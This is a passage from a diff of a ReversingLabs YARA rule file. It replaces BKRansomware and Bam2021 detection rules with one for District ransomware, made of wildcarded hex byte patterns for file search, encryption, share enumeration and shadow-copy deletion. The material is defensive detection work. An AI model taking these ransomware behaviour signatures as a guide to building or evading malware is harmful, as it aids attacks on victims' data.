+            00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ??
+            ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ??
+            ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B
+            00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ??
+            ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ??
+            ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B
+            00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ??
+            ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 8B
+            E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_*)) and ($create_encryption_key) and ($encrypt_encryption_key) and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ($delete_shadow_copies)
 }
-rule REVERSINGLABS_Win32_Ransomware_Bkransomware : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_District : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects BKRansomware ransomware."
+		description = "Yara rule that detects District ransomware."
 		author = "ReversingLabs"
-		id = "88dc5c4a-046a-52e2-b108-0a90b91d4fb6"
+		id = "fc6abbc7-66f9-56e6-8106-5f360f25b092"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.BKRansomware.yara#L1-L79"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "3118098f05a13bd161af0cb1ec322878b371ff70b9f3815a04115a214c0965a2"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.District.yara#L1-L194"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "9ce395636fd7719f503726df82998e1ac72e9e80fd7a4534bd2251ac9283af38"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -35760,225 +37301,177 @@ rule REVERSINGLABS_Win32_Ransomware_Bkransomware : TC_DETECTION MALICIOUS MALWAR
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "BKRansomware"
+		tc_detection_name = "District"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$search_files = {
-            55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 68 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B F9 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ??
-            57 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ??
-            50 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? EB ?? 8D A4 24 ?? ?? ?? ?? 90
-            8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ??
-            8B B5 ?? ?? ?? ?? 83 FE ?? 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B
-            10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66
-            85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 74 ?? B8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
-            66 8B 11 66 3B 10 75 ?? 66 85 D2 74 ?? 66 8B 51 ?? 66 3B 50 ?? 75 ?? 83 C1 ?? 83 C0
-            ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 57 8D
-            85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 83 FE ?? 74 ??
-            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ??
-            50 57 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53
-            FF 15 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
 		$encrypt_files_p1 = {
-            55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 57 6A ?? 68
-            ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B F9 68 ?? ?? ?? ?? 57 89 BD ?? ?? ?? ?? FF 15 ?? ??
-            ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 56 6A ?? 53 FF 15 ?? ?? ??
-            ?? 8B F0 68 ?? ?? ?? ?? 57 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ??
-            ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85
-            C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ??
-            ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4
-            ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ??
-            57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85
-            C0 75 ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 F6 0F 8E ?? ?? ?? ?? 33
+            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44
+            24 ?? 8B F1 8D 4D ?? 50 E8 ?? ?? ?? ?? 40 C7 44 24 ?? ?? ?? ?? ?? 6A ?? 33 C9 C7 44
+            24 ?? ?? ?? ?? ?? 50 8D 45 ?? 66 89 4C 24 ?? 50 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 EC ??
+            C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 40 C7 84 24 ?? ?? ??
+            ?? ?? ?? ?? ?? 33 C9 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 50 51 8D 45 ?? 66 89 8C 24 ??
+            ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 8D
+            44 24 ?? 8D 4C 24 ?? 50 E8 ?? ?? ?? ?? 40 C7 44 24 ?? ?? ?? ?? ?? 6A ?? 33 C9 C7 44
+            24 ?? ?? ?? ?? ?? 50 8D 44 24 ?? 66 89 4C 24 ?? 50 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 EC
+            ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 8D 4C 24 ?? 50 E8 ?? ?? ?? ?? 33 C9 C7 44 24
+            ?? ?? ?? ?? ?? 50 51 8D 44 24 ?? 66 89 4C 24 ?? 50 8D 4C 24 ?? C7 44 24 ?? ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? 6A ?? 50 66 89 44 24 ?? 8D 4C 24 ??
+            8D 45 ?? C7 44 24 ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 56 8D 4C 24 ?? E8 ??
+            ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 6A ?? 0F 43 45 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68
+            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 6A ?? 57 FF 15 ??
+            ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 66 0F 6E C0 F3 0F E6 C0 C1 E8 ?? F2 0F 58 04 C5
+            ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 56 E8 ?? ?? ?? ?? 56 8B D8
         }
 		$encrypt_files_p2 = {
-            FF 8D 49 ?? 6A ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 68 ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 8D 8D ?? ??
-            ?? ?? 33 F6 8D 51 ?? EB ?? 8D 49 ?? 8A 01 41 84 C0 75 ?? 2B CA 74 ?? BB ?? ?? ?? ??
-            8A 84 35 ?? ?? ?? ?? 3C ?? 7C ?? 3C ?? 7F ?? 0F BE C0 83 E8 ?? 99 F7 FB 80 C2 ?? EB
-            ?? 3C ?? 7C ?? 3C ?? 7F ?? 0F BE C0 83 E8 ?? 99 F7 FB 80 C2 ?? 88 94 35 ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? 46 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 3B F0 72 ?? 8B 9D ?? ?? ??
-            ?? 6A ?? 6A ?? 57 53 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 8D 9B ?? ?? ?? ??
-            8A 01 41 84 C0 75 ?? 6A ?? 8D 85 ?? ?? ?? ?? 2B CA 50 51 8D 85 ?? ?? ?? ?? 50 53 FF
-            15 ?? ?? ?? ?? 03 BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ??
-            ?? ?? 83 C4 ?? 3B BD ?? ?? ?? ?? 0F 8C ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 53 FF 15 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 57 8D 85 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ??
-            5E 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3
+            E8 ?? ?? ?? ?? 83 C4 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 0F 1F 40 ?? 0F 1F 84 00
+            ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 6A ?? A3 ?? ?? ?? ?? 8D 44 24 ?? 50 56
+            53 57 89 0D ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ??
+            FF 15 ?? ?? ?? ?? 56 FF 74 24 ?? 8B D3 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? F7 D8 6A
+            ?? 6A ?? 50 57 FF 15 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 56 FF 74 24 ?? 57 FF 15 ?? ??
+            ?? ?? 83 6C 24 ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 57
+            FF 15 ?? ?? ?? ?? 83 7C 24 ?? ?? 8D 4C 24 ?? 8D 45 ?? 0F 43 4C 24 ?? 83 7D ?? ?? 51
+            0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 83 F8 ?? 72 ?? 40 8D 4C 24 ?? 50 FF 74
+            24 ?? E8 ?? ?? ?? ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24 ?? 8B 44 24 ?? C7 44
+            24 ?? ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 4C 24 ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 33 C0
+            C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24 ?? 8B 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 83 F8 ??
+            72 ?? 40 8D 4C 24 ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? 66
+            89 44 24 ?? 8B 84 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 4C 24
+            ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 33 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 44 24
+            ?? 8B 44 24 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 4C 24 ?? 50 FF
+            74 24 ?? E8 ?? ?? ?? ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24 ?? 89 44 24 ?? 8B
+            45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 77 ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6
+            C1 ?? 75 ?? 8B 41 ?? 3B C1 73 ?? 2B C8 83 F9 ?? 72 ?? 83 F9 ?? 77 ?? 8B C8 51 E8 ??
+            ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C2
         }
-
-	condition:
-		uint16(0)==0x5A4D and ($search_files) and ( all of ($encrypt_files_p*))
-}
-rule REVERSINGLABS_Win32_Ransomware_Bam2021 : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects Bam2021 ransomware."
-		author = "ReversingLabs"
-		id = "31ae99e3-223c-51fb-97c1-353ff063057f"
-		date = "2021-09-17"
-		modified = "2021-09-17"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Bam2021.yara#L1-L167"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "5b717510991b78f07806e88f3dfe1c27d6ec1ec21af61a7c4f1edf7c915785d5"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Bam2021"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$enum_shares = {
-            83 EC ?? 53 55 8B 2D ?? ?? ?? ?? 56 57 68 ?? ?? ?? ?? FF D5 8B 74 24 ?? 6A ?? 56 C7
-            44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4C 24
-            ?? 8D 44 24 ?? 50 51 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 89 06 33 C0 5F 5E
-            5D 5B 83 C4 ?? C2 ?? ?? 8B 54 24 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 8B F8 89 7C 24 ?? 85
-            FF 75 ?? 89 06 8B 44 24 ?? 50 6A ?? 57 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 8D 4C 24
-            ?? 51 57 8D 54 24 ?? 52 50 E8 ?? ?? ?? ?? 8B F0 85 F6 0F 85 ?? ?? ?? ?? 33 DB 39 5C
-            24 ?? 76 ?? 8D 77 ?? 90 33 C0 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44
-            24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 8B 06 50 C7 44 24 ?? ?? ?? ?? ?? 89 44 24
-            ?? FF D5 6A ?? 6A ?? 6A ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 3E E8 ?? ??
-            ?? ?? 8B 7C 24 ?? 8B 54 24 ?? 6A ?? 6A ?? 52 E8 ?? ?? ?? ?? 8B 46 ?? 83 E0 ?? 3C ??
-            75 ?? 8B 4C 24 ?? 8B 44 24 ?? 51 8D 56 ?? 52 50 E8 ?? ?? ?? ?? 43 83 C6 ?? 3B 5C 24
-            ?? 0F 82 ?? ?? ?? ?? E9 ?? ?? ?? ?? 81 FE ?? ?? ?? ?? 74 ?? 56 68 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 89 31 57 FF 15 ?? ?? ?? ?? 8B 54 24 ?? 52 E8 ?? ?? ??
-            ?? 8B F0 85 F6 74 ?? 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 89 30 33
-            C0 5F 5E 5D 5B 83 C4 ?? C2
+		$find_files = {
+            53 55 56 57 6A ?? 8B F1 E8 ?? ?? ?? ?? 83 C4 ?? 8D 9E ?? ?? ?? ?? 8B E8 53 68 ?? ??
+            ?? ?? FF 15 ?? ?? ?? ?? 53 50 89 45 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D BE ?? ?? ??
+            ?? 0F 1F 80 ?? ?? ?? ?? F6 03 ?? 57 74 ?? 8B CE E8 ?? ?? ?? ?? 84 C0 75 ?? 57 E8 ??
+            ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 50 8B CE E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? 84 C0 74
+            ?? 8B CE E8 ?? ?? ?? ?? 53 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 80 7C 24 ?? ?? 75
+            ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 55 E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5D
+            5B C2
         }
-		$find_files_p1 = {
-            8D 94 24 ?? ?? ?? ?? 52 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8
-            ?? 0F 84 ?? ?? ?? ?? 8B 7C 24 ?? EB ?? 8D A4 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 84 24
-            ?? ?? ?? ?? 8D 64 24 ?? 66 8B 10 66 3B 11 75 ?? 66 3B D5 74 ?? 66 8B 50 ?? 66 3B 51
-            ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D5 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B C5 0F 84 ??
-            ?? ?? ?? B9 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 90 66 8B 10 66 3B 11 75 ?? 66 3B D5 74
-            ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D5 75 ?? 33 C0 EB ?? 1B C0
-            83 D8 ?? 3B C5 0F 84 ?? ?? ?? ?? F6 84 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 8C 24
-            ?? ?? ?? ?? 51 BB ?? ?? ?? ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 9C 24 ?? ??
-            ?? ?? 8D 74 24 ?? C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 55 8D 8C 24
-            ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ?? 8B 54 24 ??
-            52 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C6 84 24 ?? ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? C7
-            44 24 ?? ?? ?? ?? ?? 89 6C 24 ?? 66 89 44 24 ?? 72 ?? 8B 4C 24 ?? 51 E8 ?? ?? ?? ??
-            83 C4 ?? 8B 54 24 ?? 8B 44 24 ?? 42 3B C2 77 ?? 8D 5C 24 ?? E8 ?? ?? ?? ?? 8B 44 24
-            ?? 8B 4C 24 ?? 8B 54 24 ?? 8D 34 0A 3B C6 77 ?? 2B F0 8B 44 24 ?? 39 2C B0 75 ?? 6A
-            ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 89 04 B1 8B 54 24 ?? 8B 0C B2 89 4C 24 ?? 89
+		$enum_resources_1_p1 = {
+            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 56 57 33 C0 C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24
+            ?? 8B DA 8D 44 24 ?? 89 5C 24 ?? 50 51 6A ?? 6A ?? 6A ?? C7 44 24 ?? ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? 85 C0 74 ?? 3D ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ??
+            50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? BE ?? ??
+            ?? ?? E9 ?? ?? ?? ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? C7
+            44 24 ?? ?? ?? ?? ?? 50 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 3D
+            ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 84 24 ??
+            ?? ?? ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 ED 89
+            6C 24 ?? 39 6C 24 ?? 0F 86 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 85 DB 0F 8E ?? ?? ?? ?? C1
+            E5 ?? 8B F3 89 6C 24 ?? 89 5C 24 ?? 0F 1F 84 00 ?? ?? ?? ?? 83 BC 2C ?? ?? ?? ?? ??
+            0F 85 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 74 ?? 8B 84 2C ?? ?? ?? ?? 66 83 78 ?? ?? 8D
+            50 ?? 74 ?? 8D B4 24 ?? ?? ?? ?? 8D 48 ?? 8A 01 8D 52 ?? 88 06 8D 76 ?? 66 83 3A
         }
-		$find_files_p2 = {
-            4C 24 ?? C6 84 24 ?? ?? ?? ?? ?? 3B CD 74 ?? 33 C0 C7 41 ?? ?? ?? ?? ?? 89 69 ?? 6A
-            ?? 66 89 41 ?? 55 8D 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? FF 44
-            24 ?? E9 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 73 ?? 8D 84 24 ??
-            ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 51 50 68 ?? ?? ?? ?? 6A ?? 8D 94 24 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 47 ?? 50 8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ??
-            ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? BE ?? ?? ?? ?? 8B 16 52 8D 84 24 ??
-            ?? ?? ?? 50 FF D3 85 C0 75 ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 7C ?? E9 ?? ?? ?? ?? 57 8D
-            8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C0 ?? 8D 94 24 ?? ?? ?? ?? 2B D0 0F
-            B7 08 66 89 0C 02 83 C0 ?? 66 3B CD 75 ?? 33 C0 EB ?? 8D A4 24 ?? ?? ?? ?? 8D 49 ??
-            0F B7 8C 04 ?? ?? ?? ?? 66 89 8C 04 ?? ?? ?? ?? 83 C0 ?? 66 3B CD 75 ?? 33 C0 8D 9B
-            ?? ?? ?? ?? 0F B7 88 ?? ?? ?? ?? 66 89 8C 04 ?? ?? ?? ?? 83 C0 ?? 66 3B CD 75 ?? 8B
-            5C 24 ?? 6A ?? B9 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 54 24 ?? 8D 8C
-            24 ?? ?? ?? ?? 51 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 50 FF 15
+		$enum_resources_1_p2 = {
+            8D 49 ?? 75 ?? 8B 74 24 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50
+            6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B4 2C ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50
+            E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 6A ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
+            ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 ?? FF 70 ?? 8B 40 ?? 83 E0 ?? 50 8D 84 24 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 74 24 ?? 83 C4 ?? C6 44 24 ?? ?? 8B 56 ??
+            F6 C2 ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66
+            A1 ?? ?? ?? ?? 66 89 41 ?? F6 C2 ?? 74 ?? 8D 4C 24 ?? 49 0F 1F 44 00 ?? 8A 41 ?? 8D
+            49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? A0 ?? ?? ?? ??
+            88 41 ?? F6 C2 ?? 74 ?? 8D 4C 24 ?? 49 0F 1F 00 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ??
+            ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 66 89 41 ?? A0 ?? ?? ?? ??
+            88 41 ?? F6 C2 ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ??
+            89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F6 C2 ?? 74 ?? 8D 4C 24 ?? 49 66 0F 1F 44 00 ??
+            8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F6
         }
-		$encrypt_files_p1 = {
-            55 8B EC 83 E4 ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ??
-            ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 56 57 A1 ?? ?? ?? ?? 33 C4 50 8D 84 24 ?? ??
-            ?? ?? 64 A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 DB 3B C3 75 ?? 6A ?? E8 ?? ?? ?? ?? 8B F0
